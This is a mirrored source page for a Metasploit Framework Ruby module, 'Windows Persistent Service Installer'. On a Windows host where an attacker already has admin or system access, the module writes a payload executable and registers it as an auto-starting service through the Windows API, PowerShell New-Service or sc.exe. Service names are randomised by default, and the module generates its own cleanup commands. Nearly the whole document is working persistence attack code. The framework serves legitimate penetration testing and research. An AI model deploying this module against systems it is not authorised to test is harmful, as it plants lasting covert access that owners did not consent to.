/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/windows/persistence/service.rb
163 строки
7 KB
h00die
better wriable_dir for windows persistence
21 мар 2026, 19:21
21 мар 2026, 19:21
7631b54
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Post::Windows::Services include Msf::Post::File include Msf::Post::Windows::Priv include Post::Windows::Powershell include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/persistence_service' def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Persistent Service Installer', 'Description' => %q{ This Module will generate and upload an executable to a remote host. It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required. }, 'License' => MSF_LICENSE, 'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>', # original module 'h00die' # persistence updates ], 'Platform' => [ 'windows' ], 'Targets' => [['Windows', {}]], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Privileged' => true, 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'DefaultTarget' => 0, 'References' => [ ['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'], ['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'], ['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE], ['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ], 'DisclosureDate' => '2018-10-20', 'DefaultOptions' => { 'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start }, 'Notes' => { 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']), OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]), OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]), ] ) end def check print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin? CheckCode::Appears('Likely exploitable') end def install_persistence fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin? rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8) @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12) @service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8) @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12) rexename << '.exe' unless rexename.end_with?('.exe') vprint_status('Compiling payload') @dest_pathname = writable_dir + '\\' + rexename exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] }) write_file(@dest_pathname, exe) print_good("Payload written to #{@dest_pathname}") success = false if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto' vprint_status('Attempting API method') success = api_service end if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell? vprint_status('Attempting Powershell method') success = powershell_service end if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success vprint_status('Attempting sc.exe method') sc_service end @clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n" @clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" @clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" end def powershell_service vprint_status("Install service: #{@service_dname} (#{@service_name})") service_builder = "New-Service -Name '#{@service_name}' " service_builder << "-DisplayName '#{@service_dname}' " service_builder << "-Description '#{@service_description}' " service_builder << "-BinaryPathName '#{@dest_pathname}' " service_builder << '-StartupType Automatic' resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"") return false if resp.include?('Access is denied') return false unless resp.include?('Stopped') vprint_status("Service install response: #{resp}") vprint_status('Starting service') resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"") vprint_status("Service start response: #{resp}") true end def sc_service vprint_status("Install service: #{@service_dname} (#{@service_name})") sc_cmd = "sc.exe create #{@service_name} " sc_cmd << "binPath= \"#{@dest_pathname}\" " sc_cmd << 'start= auto ' sc_cmd << "DisplayName= \"#{@service_dname}\"" resp = cmd_exec(sc_cmd) return false if resp.include?('FAILED') vprint_status("Service install response: #{resp}") vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\"")) vprint_status('Starting service') resp = cmd_exec("sc.exe start \"#{@service_name}\"") vprint_status("Service start response: #{resp}") true end def api_service vprint_status("Install service: #{@service_dname} (#{@service_name})") resp = service_create(@service_name, { display: @service_dname, path: @dest_pathname }) return false unless resp == 0 vprint_status("Service install code: #{resp}") vprint_status('Starting service') vprint_status("Service start code: #{service_start(@service_name)}") true end end